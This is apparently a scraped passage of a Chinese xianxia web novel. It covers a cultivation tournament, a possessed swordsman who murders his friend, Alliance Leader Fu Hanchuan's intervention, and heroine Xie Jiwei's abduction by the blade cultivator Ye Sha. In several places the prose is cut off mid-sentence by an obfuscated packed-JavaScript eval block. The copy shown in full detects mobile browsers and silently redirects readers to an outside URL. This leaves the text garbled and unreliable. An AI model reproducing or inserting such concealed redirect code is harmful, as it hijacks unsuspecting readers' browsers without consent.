从谢济微的角度去看,张酩似乎还在原地,只是影影绰绰间看不清。与此同时,另外一个身影悄然出现在了她身后,手中刀刃锋芒一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下一秒,张酩从谢济微脚下破土而出,刀刃往面前人脖颈处一抵! 这一击几乎避无可避了,他心中一松,却发现刀仿佛没入了一片虚空之中,刀上没有任何阻力。 他心中一惊,脖颈上一凉,只听一个含笑的声音道:“你输了。” 水雾渐渐散去,只见谢济微站在他身后,手上冰刃落在他颈侧。 张酩心中震惊,刚才他用的另外一张符咒是遁地符,借由隐身符的掩盖,他第一时间便遁入了谢济微的脚下。 然而就在那么近的距离之下,谢济微将傀儡放在原地、本体绕后之时,他竟然没有察觉一丝的灵力波动,可见谢济微虽然修为不比他强,但在符咒一道上,却比他超出许多。 他心中遗憾,却也知道技不如人,便道:“我认输。” 一场结束了,少城主非常高兴,道:“我看她很好!不如就她了罢!” 城主虽然也赞同,但还是道:“还有参赛者,再看看。” 9. 惊弦 接下来又是几场比试,剩下的修士也逐渐少了。 期间两个元婴剑修对上了,正好是先前那两个高矮剑修。 两人修为相近,又对对方比较熟悉,因此打得有来有往。不过矮个剑修在剑道上的领悟略胜一筹,在对战中又有一种敏锐的直觉,险而又险地避过关键一击,最终险胜。 在他之后,又有几人上台,直到最后,侍卫高声喊道:“下一场!散修王琰对易如书院谢微!” 少城主精神一振,只见台上谢微再次登场,而她对面那人,是方才出言不逊的矮个剑修。 那剑修上一场的对手是他的同伴,虽然两人修为不相上下,但他还是险胜一筹,留到了最后。 王琰站在台上,手持长剑,虽然先前对比武大会相当不忿,但现在神情一改之前的不屑,全神贯注地看着前方, 而谢济微从背后一寸寸抽出长剑,剑尖完全离开剑鞘的那一瞬,他只觉似有阴风吹过,惊起一身寒毛,定睛看去时,却见谢济微仍站在原地,剑尖指地,道:“请。” 其实这个动作是相当不客气的。修士比试,向来有不成文的规定,即修为高的让一招。而她现在比王琰整整低了一个境界,却让他先出手,便有认为王琰不如她的意味。 然而王琰没有半分被冒犯的神色,只是静心凝神,随后气沉丹田,起手提剑。 只见剑气骤然从他手中涌现,在空中隐隐现出一只巨虎像,在半空中仰天长啸,随后跃到地上,和王琰手上的长剑一起往前冲去。 少城主暗自点头,王琰其他不提,然而在剑道上,却算得上纯粹,他所修剑谱乃《龙虎剑》,如今可以剑气化形,已经窥得其中奥妙。 谢济微抬剑一挡,剑身相交时灵力轰然炸开,将两人的袍袖都吹得猎猎作响。 王琰剑势受阻,将剑往回一拉,又是相同的一招砍出! 这一剑的力道比之前更加大,谢济微反手一挡,退后半步,而身后王琰的剑气陡然凝成一个龙像,龙首低垂,宝相庄严;而面前王琰迅速变剑,从上至下劈来! 这一击有龙腾虎跃之象,来势汹汹,十分迅猛,谢济微仍然是云淡风轻地将剑一绕,看似轻松地一剑,却将剑势化解。 ——已经三招了,台下一片哗然,她竟已让了三招,而王琰心中更是震惊,他这三招虽不算全力以赴,但也用了七八成功力,却如石沉大海般尽数被化解,毫无声息。 谢济微道:“小心了。” 王琰眼前一花,只见她连刺几剑,速度极快,角度刁钻,竟像多个人同时攻过来。 他连连架剑挡住,却惊觉难以应付,“噔噔蹬”向后疾退数步。 他所修剑法大开大阖,讲究势如破竹,却不免显得笨拙。而谢济微的剑法看不出门道,却轻盈灵动,剑剑刺他要害之处,一时之间不知如何抵挡。 他站稳,大喝一声,双手握剑横砍过来,剑身似有龙身缠绕,剑尖龙口大张,竟有虎啸龙吟之声。这一剑依然沉重,然而剑风所到之处,如被一张密不透风的网覆盖,一时间甚至无法动弹。 谢济微眼底闪过一丝赞许之色,长剑一收一拐,从斜下方刺过来。 那一剑轻如鸿羽,却将剑势一引,露出一道缺口来。她便从这缺口飞身而上,脚尖点在王琰的剑尖上,稳稳立住。 那一瞬间王琰只觉得剑上有千钧之重,想回身抽剑,却发觉自己竟然无法撼动剑上之人,随即眉心一凉,谢济微的剑尖虚虚点在了他眉间。 谢济微淡淡道:“还不错。” 旁边侍卫连忙道:“谢微胜!还有哪位修士上台挑战!” 台下修士面面相觑,眼见她两次越境挑战,且胜得皆轻松自如,换做自己,她的对手都难以战胜,更遑论她本人了,一时之间没人出声。 她翩然从剑上落下,走到擂台一侧,而王琰若有所思,似乎从方才领悟到了什么,慢慢走下台去了。 台下他的同伴拍了拍他,以示安慰。但是他还沉浸方才的对决中,没有理睬。另外一个人眼中阴霾一闪而过,却又转瞬即逝。 侍卫等了片刻,发现台下修士你看我,我看你,就是没有人上台,于是便道:“本次比武大会胜者——易如书院谢微!恭喜谢修士获得‘鸿鹄会’的请帖!” “且慢!”看台上忽然有人叫道。 众人纷纷抬头看去,只见一女子飞身下来,背上一把弓,正是少城主:“在下武王城宫止水,方才见谢道友出手,心中钦佩,不禁想切磋一番,不知可否赐教?” 谢济微剑还未收回鞘,依然道:“请。” 少城主结丹以来,同境界之内便没有遇过敌手,就连元婴修士也可一战。而谢济微连胜两场还游刃有余,显然于剑道、符道上大有所成,与她一战定然受益匪浅。于是等结果宣布,她便连忙下来。 闻言她取下长弓,三把灵箭顷刻在手中成型。她将箭搭在弓上,只是略一瞄准,箭便离弦而出。 那三箭虽同时射出,然而在空中却分出先后,从上、中、下三个方向封住去路。 谢济微一侧身,身形变换,依次避过三箭。那三箭穿空而过,却在她身后一停顿,随即掉头折返,向她身后射来! 谢济微旋身一削,“当当当”三声,灵箭一分而二,立即消散在了空中。 而宫止水已经再次拉弓,这次只有一支箭矢,却射向了半空,在谢济微头顶骤然爆炸,瞬间数万灵箭当空落下! 与此同时,谢济微身周也出现了千万剑影,剑尖朝上,从下而上和灵箭一一穿过,随后在半空中归为一柄灵剑,向着远处的宫止水飞掠而去! 而宫止水不避不让,一道灵箭再次出现在弦上,弦如满月般拉紧,箭离开弦的那一瞬间,竟然有巨大的嗡鸣声。 这支箭来势相当快,所经之处,空气轻微扭曲,在半空几乎留下了残影。和灵剑擦肩而过时,甚至将它偏离了一瞬,随后向谢济微疾驰而去! 这一箭来势汹汹、避无可避,且速度比灵剑快上不少,尽管宫止水来不及躲避灵剑,但只要一箭命中,她便赢了。 只见谢济微持剑在空中画了一个圈,剑势宛如水面般层层向外扩散,将箭矢层层包裹。那箭便像没入泥潭之中,一点点慢慢下来,最后在她额前停住。 而那把灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这处院落是城主专为比武大会的修士所设落脚之地,当初为清净考虑,因此此地远离百姓居所,格外僻静,没想到这时竟然起了作用,尽管出事,却不会波及凡人。 见到城主一干人等,那两个受伤修士道:“方才王琰和高芥不知为何起了争执,忽然大打出手,我等想要制止,却反被高芥所伤,打出门外。” 另外几个修士补充道:“高芥修为突然大涨,恐怕已到化神。我们几个一起出手,也打不过他,都被赶出来了,只剩王琰还在里面,凶多吉少。” 高芥、王琰分别是之前的高、矮剑修。城主不禁看向谢济微,只见她走到门前,向里看去。 门内漆黑一片,毫无声响。宫止水运转灵力,然而以她的眼力,也只能隐约看到院内有两个模糊的轮廓。 谢济微思忖片刻,转头道:“我进去查看,你们且在外边等候。” 宫止水道:“我与你一同去,里面不知情况,有个人照应也好。” 谢济微没有阻止,走进了院内。宫止水见状,也跟在她身后。 城主心中担忧,却也知道自己进去也帮不上忙,反而有可能拖后腿,只好在背后叫道:“万事小心!” 10. 控制 院内死寂一片,伸手不见五指,只能听到两人轻微的脚步声。 她们走到一处房间门前,房门大敞,然而房间里浓墨般的黑暗仿佛吞噬了一切的声音和动静,只有一丝不太明显的血腥味。 宫止水不禁心中发怵,却见谢济微半步都没有停顿,径直走入房间,点燃了身侧的一盏油灯。 房间被昏暗烛火照亮,看到里面的那一瞬间,宫止水忍不住惊呼出声。 只见一人靠坐在墙边,面朝向她们,神情惊恐,表情凝固;然而他腰际以下空空如也,只有已经凝固的暗黑血迹,蜿蜒流到另一侧墙边,那里有他剩下的一半身体。 那人正是王琰,显然已经死去不久了,而另外一人不知所踪。 这人不久前还活蹦乱跳,现在却惨死在这里,宫止水不禁觉得有些反胃,却见谢济微面不改色,上前几步观察片刻,从王琰的手中取出一个东西。 只见那是一个巴掌大小的透明圆球,表面裂纹龟裂,里面倒映着几个人影。 谢济微往球中灌入灵力,球中人影立刻放大,投影到屋内。 人影面容非常模糊,只听一人道:“……不可能,就算你上场,也打不赢她。” 另外一人冷笑道:“是么?至少我不会一招就输了。” 先前那人道:“她很厉害,你打不过我,更打不过她。你想打赢她,除非像之前一样。” 另外一人走进一步,语调压低:“什么之前?” 其实这时候已经有一点危险的意味了,但是第一个人没有察觉到:“之前遇到过的那个修士,你忘了吗?当时你跟他说你认输,所以他就放松了,没想到你突然偷袭……” 话音未落,只见另外一个人突然拔剑出手,第一个人仓促躲开,却还是中了一剑,惊怒道:“高芥!你疯了吗?!” “原来你知道,”另外一个人轻轻道,忽然笑起来:“原来你知道!” 他笑得越来越大声,越来越癫狂,忽然止住,冷冷道:“那么多年来,为什么你完全没有表现?是想抓住我的把柄,以后好威胁我吗?” 第一个人捂住伤口,然而血还是如泉涌般流出:“……我没有这样想过。高芥,是人就会犯错。你想赢,我知道,所以我没有告诉任何人。……我把你当朋友……” 高芥又逼近一步,阴恻恻道:“你没有。你明明知道我想赢,那么多年却一直压在我头上。今天这一次,明明就差一点……” 他又是一剑,第一个人勉强挡住,喝道:“你清醒点!” “我很清醒,”高芥道,“只要杀了你,再杀了她,我就是化神之下第一人。我明明付出了那么多,为什么……你们都能踩在我的头上?!” 那一瞬间他周身气势突变,双目赤红,爆发出来的灵气完全超过了元婴境界,随后扬剑一斩! 第一个人完全抵挡不住,长剑脱手而出,身躯一斩两断,断口处竟然有黑色雾气涌出! 他趴在地上,鲜血喷涌而出,一手藏在胸前,死死地盯着高芥:“……你……不是高芥……你……是谁……” 高芥没有回答,只是看了他片刻,自言自语道:“下一个……”然后消失在了屋内,只剩第一个人急促喘息,断断续续道:“他……被夺舍了……救他……救……我……” 很快他的呼吸声渐渐变弱,最后变成一片死寂。 那颗圆球上面的裂纹越来越多,此刻终于到了极限,“咔嚓”一声轻响,碎在了谢济微手中。 这一幕太过诡异,宫止水心有余悸,问道:“他去哪里了?” 一个状态糟糕的化神期修士杀伤性非常大,谢济微走到她身边,看着门外:“——应该会去找我吧。毕竟杀了我,他就能‘赢’了。” 话音刚落,只见一阵阴风吹过,门侧的油灯骤然熄灭,院外传来惊呼声:“站住!”“别动!”“——啊!”“小心!” 急促的脚步声冲进院来,然而都不及最先那人。 那人在院中走了几步,忽而扭头看向谢宫两人的方向,黑暗中只见他双目一点猩红,森然道:“原来在这里,真是让我好找。”正是不知所踪的高芥。 话还没说完,他已经来到了两人面前,速度之快,甚至来不及让两人拿出武器。 化神和元婴简直称得上天差地别,仅仅只是化神凝结出的神魂,就足够让元婴以下修士动弹不得。宫止水只觉得手臂仿佛如灌铅般沉重,拼尽全力才抓住背上长弓;而谢济微轻轻抬眸,瞳孔中有金色流光缓缓流淌,识海深处大乘修士的神魂慢慢苏醒,一触即发。 就在高芥剑尖即将刺进谢济微心口时,他忽然停滞住了。不止是他,所有人都在那一瞬间凝固住了,连所有的声音消失不见。 一个身影出现在了他的身后,磅礴到可怖的威压从他身上溢出,将高芥压迫得牙齿打颤,甚至连骨骼也发出了不受重负的声响。 不同于之前琴生的“枯木逢春”之术,现在这是纯粹的、大乘修士神魂的威压,足以操控所有人的一举一动。 高芥双腿一软,膝盖“砰”的一声重重跪在了地面,手中长剑迅速从剑尖蔓延出无数裂纹,覆盖了整个剑身。 谢济微一眨眼,金色流光顷刻从她眼中消失,她向前走了半步,挡住了宫止水。宫止水只觉得身体一松,刚才那种几乎快要窒息的感觉终于消退几分。 那人看了一眼谢济微,威压慢慢收回来。 跟着进来的几名修士恢复知觉,一看那人的脸,惊道:“盟主?!” 来人面容俊逸,身上携一长剑,正是仙盟盟主戮恶仙君傅寒川,当今仅存的几位大乘期修士之一。 他略略扫过在场的几人,在谢济微的身上停顿了。 他的眼神非常有压迫感,换做另外一个人恐怕就要立刻反思自己上下一百年有没有做过什么事了,然而谢济微淡然自若,坦荡平静地直视他。 她太过镇定了,几乎看不出什么破绽。傅寒川一寸寸挪开视线,手掌虚虚按在高芥头上。 高芥惨叫一声,头仿佛被什么东西拉扯住,然而身体却被固定在原处,整个脖颈弯曲出一个扭曲的角度。 那场面太过残忍,众人不禁纷纷侧目,又碍于傅寒川修为地位不敢出声。 却见高芥后脑处渐渐浮现一个黑色的轮廓,那个轮廓和高芥极其相似,甚至连脸上的痛苦扭曲也一模一样,然而它身上逸散出的,不是灵气,而是截然相反的魔气。 众人纷纷倒吸一口,有人道:“高芥原来是魔……” “怪不得。” “它伪装得也太好了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313357|167312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也太可怕了……” 这时高芥口鼻已经渐渐溢出鲜血,然而已经没有人会因他的痛苦而同情他了。 黑色轮廓和高芥逐渐分离,却卡在了最后一步,始终无法完全脱出。 眼看高芥气息逐渐微弱,谢济微道:“还请盟主稍等。” 傅寒川手下一顿,抬头看向她。 被那极其冷漠的视线一扫而过,宫止水不禁后背发凉,心道大佬不愧是大佬,就连面对素有“玉面修罗”绰号的盟主,也丝毫不害怕。 谢济微完全不受影响,继续道:“他和魔相融如此之深,恐怕受侵蚀已久。倘若强行分离,非但他性命不保,魔也无法留下。” 傅寒川道:“依你之见,该如何做?” 谢济微不答,走上前在高芥面前打了一个清脆的响指。 片刻后高芥悠悠醒转,看到谢济微,神色茫然。 谢济微道:“还记得么?你杀了王琰,还想来杀我。” 傅寒川微微蹙眉,只见高芥的脸色一点点变得惨白,声音颤抖:“我……我记得。我不是故意的……” “但是你想过杀他,从很久之前就开始了,”谢济微柔声道:“因为他和你年岁相仿。修为相近,你却始终赢不了他,是不是?” 高芥嘴唇嗫嚅,半晌终于颓然道:“对……可我没想真的杀他。我只想堂堂正正地赢他一场……他把我当朋友,我又何尝没把他当朋友?” 他低头看着自己的手,突然拿起掉在地上的剑,狠狠扎入掌心:“可是我杀了他!我杀了他!” 那把剑已经快裂了,被他这么一用,碎片刺入掌心,鲜血顺着伤口奔涌而出。他仿佛感觉不到痛觉一般,一剑又一剑,最终呆坐在地上,泪水无知无觉地从他颊边大滴大滴滑落。 谢济微半蹲下来,和他平视,温和道:“有这种想法不奇怪,人非圣贤,孰能无过?只是需要及时醒悟,才不会酿成大错。” 她的眼神仿佛有某种奇特的力量,让高芥渐渐平静下来:“我醒悟了,我知道我错了……可是,已经太晚了。” 他身后的黑色轮廓在这一刻从他身上脱落出来,转身欲逃,却被傅寒川立即禁锢住。 高芥的声音有一种平静的死寂:“那么我现在,只有以死谢罪了。”说罢他将断剑往脖颈处一横! 谢济微打掉他的剑,道:“你既然记得你杀了他,那应该还记得他最后说过什么。” 高芥道:“他……他说……” “他说你不是高芥,”谢济微道,“在他心里,宁愿相信你是别人伪装的,也不愿相信你会杀他。他临死之前,也没有怪过你,还在担忧你的安危。事实上,你也确实被‘魔’夺舍了。” 高芥神情恍惚:“原来……如此……么?” “他希望你能活下去,”谢济微道,“或者你可以认为,活着赎罪。” 高芥轻轻道:“是么?赎罪……似乎这样也不错。” 见他没有寻死之意了,谢济微站起来,却听傅寒川淡淡道:“在此之前,你需先去仙盟接受调查,查明魔附身的原因。” 谢济微和他对视片刻,忽而微微笑道:“悉听盟主尊便。” 那个笑容其实有点促狭的意思,傅寒川迟疑片刻,竟然有点狼狈地移开视线。 11. 透骨 这个微妙的氛围很快被破坏了,因为又有一人大步走进院内,朗声道:“——寒川!我接到你的传信,却还是晚了一步。没事吧?” 来人约莫三四十岁年纪,一身青衣,面容含笑,蔼然可亲,气蕴内敛,竟也是大乘期修为。 院内修士纷纷为他让开路,齐齐行礼:“崇霄仙君。” 来人虚扶起众人,道:“诸位不必多礼。我和寒川本欲前往''鸿鹄会'',途经此地,却察得邪魔踪迹,因此前来除魔。” 他看向傅寒川手中禁锢的黑雾,笑道:“我不过晚来一步,看来你已经解决了。” 傅寒川颔首,道:“''鸿鹄会''在即,我需先行一步,便有劳师叔将它押回仙盟。” 来人正是谢济微和傅寒川的师叔,崇霄仙君江谈决,也是如今屈指可数的大乘期修士之一,在仙盟中担任重职。 不同于傅寒川以严厉冷酷出名,他待人亲近,谈吐风雅,令众多修士如沐春风,因此在修真界名声颇佳,甚至隐隐有超过谢济微在世时的趋势。 江谈决伸出手,掌心浮现出和黑雾四周如出一辙的禁锢纹路,从他手中向黑雾蔓延而去。就在即将要触碰到黑雾的那一刻,原本属于傅寒川的禁锢骤然炸开,黑雾失去束缚,瞬间四面逸散,将傅寒川整个人都包裹了起来! 那实在太突然了,几乎没人能反应过来。而傅寒川只觉得眼前一暗,黑雾化为千万细缕,从四面八方钻进他的身体,深深钉进了他的经脉。 一开始只如针扎般刺痛,却在顷刻间变为深入骨髓的钻心痛苦。那样的痛,却令他的感知在那一瞬间无比敏锐清晰,甚至能清楚地“看”到每一个人的神情——震惊的、惊慌的,以及站在人群之外,略微诧异而微微睁大眼睛的谢济微。 这样的痛楚却如此熟悉,曾在多年前辗转折磨他,无数次潜入他的噩梦中;几百年过去,本以为早已烟消云散,却又再次出现了。 意识混沌之中他看见自己跪在冰冷的台阶上,纷纷扬扬的飞雪落在他的肩上,融化时寒意透骨,然而他已经感觉不到了,因为有千百根骨钉钉入他的身体,剧痛下每一处的经脉都被阻塞,灵力滞涩无法找到出口,只能在他的身体里横冲直撞。长久的折磨令他几乎无法思考,意识中只剩下眼前的一切。 而遥远的台阶之上,熟悉的人影手持长剑,居高临下地俯视着他。 他略微向前倾,仅仅是这样的动作便已耗尽他全身的力气:“……弟子违反门规,前来领罚。” 那人落到他面前,衣袖的纹路熟悉无比,他勉力抬起头,声音中竟然带了一点从未有过的恳求:“师姐……我知错了。” 谢济微没有回答,手中长剑轻轻横在了他的颈侧。 那柄邪剑从来没有对他真正出手过,因此他也从不知道这把剑的凶名所在,现在才真正体会到了:肌肤与剑身相触的那一瞬间,绝望的哀号声肆虐了他的脑海,几乎将他最后一点意识也摧毁殆尽。 他慢慢闭上眼睛,心中苦涩异常,然而却又如释重负,只是还有最后一点遗憾,最终要伴随他化为灰烬—— “你何错之有?”面前的人说。 他猝然睁开眼,只见谢济微将剑偏离了一点,温柔地看着他:“你只是顺心而为罢了……亡国之仇,焉能不报?你潜心修炼,不就是为了手刃仇敌?错的是我,否则你也不用伤害自己到如此地步。” 她的面容、说话语调都与往常一致,挑不出任何异常,然而傅寒川却隐隐有些不安,低声道:“不。您没有错……” 谢济微道:“若非我告诉你封印自身修为的方法,你又怎会用千根骨钉钉入自己的身体,只为不让自己用出半分灵力?其实我一直很后悔,” 她走进一步,熟悉的气息笼罩住了他:“若我能早一点明白自己的心意,是否不会让你承受这样的痛苦?” 傅寒川霍然抬头,自从百年前她离开,他便只能靠记忆中的时光熬过每一日,然而现在竟然能在这里看见她,如此真实、如此动人,几乎让人沉溺其中,就像一场甜美的梦。 然而他死死盯着她,本应被封印的灵力隐隐浮现出他的身体,手中渐渐出现了一柄长剑的雏形:“你不是她!——别用她的脸!” 长剑顷刻成形,铮鸣出鞘,气劲横扫,将周围的一切都化为虚无,重新回到了几百年后的郊边小院内。 院内众人还僵在原地,震惊地看着傅寒川。不知何时傅寒川的剑已经出鞘,穿过了黑雾,将它钉在空中。一般的剑无法伤害邪魔,然而傅寒川的本命剑“戮恶”至正怯邪,相当克制它们。 而另一边的江谈决离他太近了,在这个距离下,剑尖几乎要刺进他的眉心。 江谈决神情愕然,似乎想退开,却被剑势压住,动弹不得。他和傅寒川虽然同在大乘期,然而他却比傅寒川要低一个小境界,看起来只差一点,却是天差地别。 傅寒川轻轻呼出一口气,他其实仍然由于强行挣脱噩梦而头疼欲裂,但他面上丝毫不显,同时烙印在神魂深处的一个印记渐渐发烫,平息他沸腾的识海。那是许久以前谢济微留给他的封印,起初只是阻止他滥用灵力,后来主人死亡,却成为抑制他失控的印记。 斯人已逝,她留下的东西却仍然长久地陪伴他。 他收回长剑,“戮恶”一寸寸穿过黑雾,激起里面一连串惨叫,颓然地栽倒在地上。而不远处谢济微袖中捏诀的手悄然滑落,手心中的法阵伴随着傅寒川神魂中的印记渐渐黯淡。 傅寒川道:“它的魔气已经尽数耗尽,不需再加禁锢了。不过师叔回去,仍然需要提防它的同伙。” 江谈决应是,这时一直等候在院外的城主听到消息,连忙走进来,看到事情已经解决了,便连连感谢。 一番寒暄过后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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城主大喜,若跟着傅寒川一起赴会,其他修士必然会看在他的面上给谢宫二人几分礼遇,即使宫止水无意得罪别人,也不敢轻易对她下手。他没想到今晚竟然有这样的意外之喜,当下就把之前的事抛得一干二净,连忙赞成。 然而宫止水心有疑虑,不禁看向谢济微。谢济微笑道:“那自然是再好不过了。我没意见,少城主呢?” 城主全程不在院内,因此不觉得有异常,然而宫止水目睹了谢傅二人的交谈,心里隐隐觉得没那么简单,但是眼见谢济微欣然答应,她只能压下疑问,也应下了。 于是城主便将三人领回到府中,待休整一番后,明日再出发。 翌日清晨,傅寒川从储物囊中拿出一个木制行舟,那舟不过巴掌大小,但是灌入灵力后迅速长成一个能够容纳七八人的木舟。这是仙盟统一产出的代步工具,由器修制成,木舟大小视使用者的灵力强弱,方便多名修士一同出行。 临行前城主拉住宫止水又细细叮嘱了一番,才将三人送到舟上。木舟凌空之后很快消失在了视线之内,城主遥望天际,不禁心生感慨,回头却看见夫人静静站在身侧。两人相视片刻,忽然会心一笑,相携走回府内。 12. 叶杀 一路上三人无言,仿佛之前的针锋对决只是错觉,宫止水渐渐放下心来,忽然见原本背对着两人的傅寒川转过身来,看向两人。准确地来说,是看向谢济微。 或许昨日连战几人,又突生变故,今日出发之前谢济微的状态就似乎有点不对劲,上了木舟之后便靠在一旁,阖眼静坐。 傅寒川走到她身旁俯视片刻,道:“道友身体似乎抱恙,可愿我为你探查一二?” 谢济微睁开眼睛,抬头看向他。 她的面容非常普通,此刻因为身体衰竭而面色苍白,然而只是一个简单的动作,却隐隐有一种莫名的风骨,即使身居弱势,也相当从容。只见她轻轻笑了一下,伸出手道:“那便先谢过盟主了。” 那一笑温和自如,配上她毫无血色的面颊,竟然有一种病态的美感。傅寒川垂在身侧的手轻微蜷缩了一下,脸上神色却愈发冰冷。他抬起手,扣住了谢济微的脉门。 隔着一层薄薄的布料他的手指仍然炙热,指腹的热度透过衣袖印在她冰凉的肌肤上,这具身体受伤太久了,以致体温冰冷异常,如今只是有一点热源,全身的感知就几乎都汇聚在那一处。 熟悉的灵力从接触的地方迅速流转她的全身,抚慰过千疮百孔的经脉,这种水乳交融的感觉睽违已久,令她不禁轻微颤栗,另一只手慢慢握紧,指尖一点点刺入掌心。 傅寒川仔细地看着她的脸,灵力从她的身体一寸寸搜查而过。 “……她和破厄很像,”几日前段箫的话犹在耳边,他握住玉箫,忽而微笑道:“不过我觉得不是她。毕竟倘若破厄复生,你应该最先知道。” 灵力运转一个周期,最终又从脉门流回了他的身体。她的身体被破坏得太过彻底了,完全看不出本来的脉络痕迹,但正因如此,傅寒川的心却阵阵抽痛。 傅寒川虽不是医修,然而诊断伤势对他这种大能却是轻而易举。一旁的宫止水看傅寒川迟迟不语,不禁担忧道:“可是有什么问题?” 傅寒川一时没有说话,反而是谢济微道:“大约是过度使用灵力,导致身体有些虚弱了。” 她话音刚落,却觉腕间一痛,随即那片被傅寒川按住的皮肤开始发烫,热度迅速蔓延到全身,将干枯冰冷的经脉一点点温暖起来。 ——其实她复生以来,就一直忍受着巨大的痛苦,不止是经脉寸断的剧痛,还因为这副残破的身躯无法容纳她的神魂。因此藉由“肉生骨”慢慢修复经脉、修为恢复一点之后,她便将神魂封印在识海深处,得以缓解一二。 后来又随着灵力的逐渐充盈,她便能掩盖自己体内的真实情况,除非直接上手查看,否则即使是大乘修士,也无法看出她的异样。只是昨天过度透支灵力了,导致今天并不能很好地伪装,才被傅寒川看出端倪。 她低头看向自己的手,只见那只按在自己脉门上的手骨节分明,指腹扣在她手腕上,手背上青筋因为用力而微微凸起,然而手的主人面无表情,完全看不出他此时正紧紧按住她的手,力道之大,完全不像为别人看伤。 谢济微微微一挑眉,正想说什么,忽然见到远方迎面袭来一道如狂风卷落叶般的气劲,还没靠近,木舟便一阵颠簸,随即快速向下方坠落! 这实在太突然了,宫止水霍然起身,只来得及从箭囊抽出铁箭,一把刺进舟身;而傅寒川反手握住谢济微的小臂,另一只手抽出长剑,也是一道剑气斩出。 两道气劲在空中相撞,消弭在半空中,而木舟也逐渐停止了下降,最终停在一座山旁。 而山峰之上,赫然站了一个人。 山上风声猎猎,吹得落石滚滚,然而那人岿然不动,任凭袍袖纷飞。她身量高挑,身前一柄长刀直插入地,几乎与她下颌平齐。 她双手交叠按住刀柄,抬头看向三人。从那么远的地方看去,她的面容仍然非常美,甚至称得上秾丽,却有一道狰狞的伤痕划过她的眉骨,没入鬓间。 然而这道疤痕完全没有折损她的美貌,反而平添一种杀气,令她看起来完全不像一个修士,却像凡间征战四方的将军。 “叶杀……”宫止水低声道,将箭拔出来,神色凝重。 那人名唤叶杀,虽然此前已是洞虚修士,然而却无名号,只因她虽是刀修,却以杀入道,修的是杀戮道,天下只此一人,加上性情捉摸不透,为世人所深深忌惮。 她遥遥看向傅寒川握住谢济微的手,神色莫名。谢济微轻轻往回动了一下自己的手,示意傅寒川松手。 然而傅寒川没有立刻放手,她只觉刚刚那种热源逐渐来到了她的丹田附近,随即似乎有什么东西落在了内府之中,很快消失不见,而傅寒川也终于松开了她的手臂。 他抬头看向叶杀,只见她道:“江谈决何在?” 江谈决便是之前与傅寒川前后脚到达小院,先行将邪魔押回仙盟的修士,也是傅寒川的师叔。算算时间,如今也快到仙盟了。 然而叶杀不等回答,继续道:“——他杀了我师父,我找他,是要他血债血偿。” 三人俱是一怔,叶杀的师父几年前逝世,据传是修为增进缓慢,而寿数已到尽头,并未听闻是被人杀害。 而傅寒川知道的更多,叶杀师父死亡前后,江谈决正忙于御魔大阵,分身乏术,更谈何去杀一个洞虚修士。然而叶杀并不是信口开河的人,于是傅寒川问道:“你可有证据?” 叶杀道:“我亲眼所见。” 傅寒川道:“那便是没有证据了。崇霄如今在仙盟,你可传信于仙盟刑罚长老,令他们查案。” 叶杀微微冷笑道:“谁不知仙盟已经是你们池诸山的一言堂了?恐怕我一到仙盟,便被姓江的关起来了。” 傅寒川微微皱眉,余光一扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那刀锋利无比,直直抵住了谢济微。傅寒川脸色难看,却还是硬生生地停在了原地。 叶杀道:“太多次了,我已经放弃正正当当向江谈决复仇。傅盟主,若是不想见到她身首异处,便叫江谈决亲自前来见我!” 说罢她的刀离开谢济微,另一只手却立刻卡住了谢济微的脖颈。随后她将刀柄往下用力一捅,脚下赫然出现了一个深不见底的大洞,两人立即向下坠落,而头顶的洞口迅速被填补,仿若从未出现过裂口一般。 下坠的过程极其漫长,谢济微只觉得眼前一片黑暗,只有身后一只如铁钳般的手一直死死抓住她。不知过了多久,她终于感觉脚下踩住了实地,而叶杀也终于放开了她。 一阵悉悉索索的响声之后,黑暗中亮起了一道微光,原来是叶杀点燃了一盏油灯。 13. 不可追 微弱的火光下叶杀大半张脸都隐藏在黑暗之中,只留那道眉骨上的疤痕蜿蜒狰狞,仿佛蛇般攀附在她的脸上。 她将油灯放下,朦胧中只见两人身处一个极小的房间内,四壁空空。 “待在这里别动。”叶杀道。在她眼里,谢济微不过是金丹境,对她而言毫无威胁,更无法逃出这个房间。 说罢她看也不看谢济微,退后一步,整个人隐入了黑暗中。她转身在墙壁上摸索了几下,随即一个暗门悄然打开,她走进去,消失在了房间中。 暗门里的密道曲折,大约走了半炷香的时间,暗道尽头终于传来亮光。 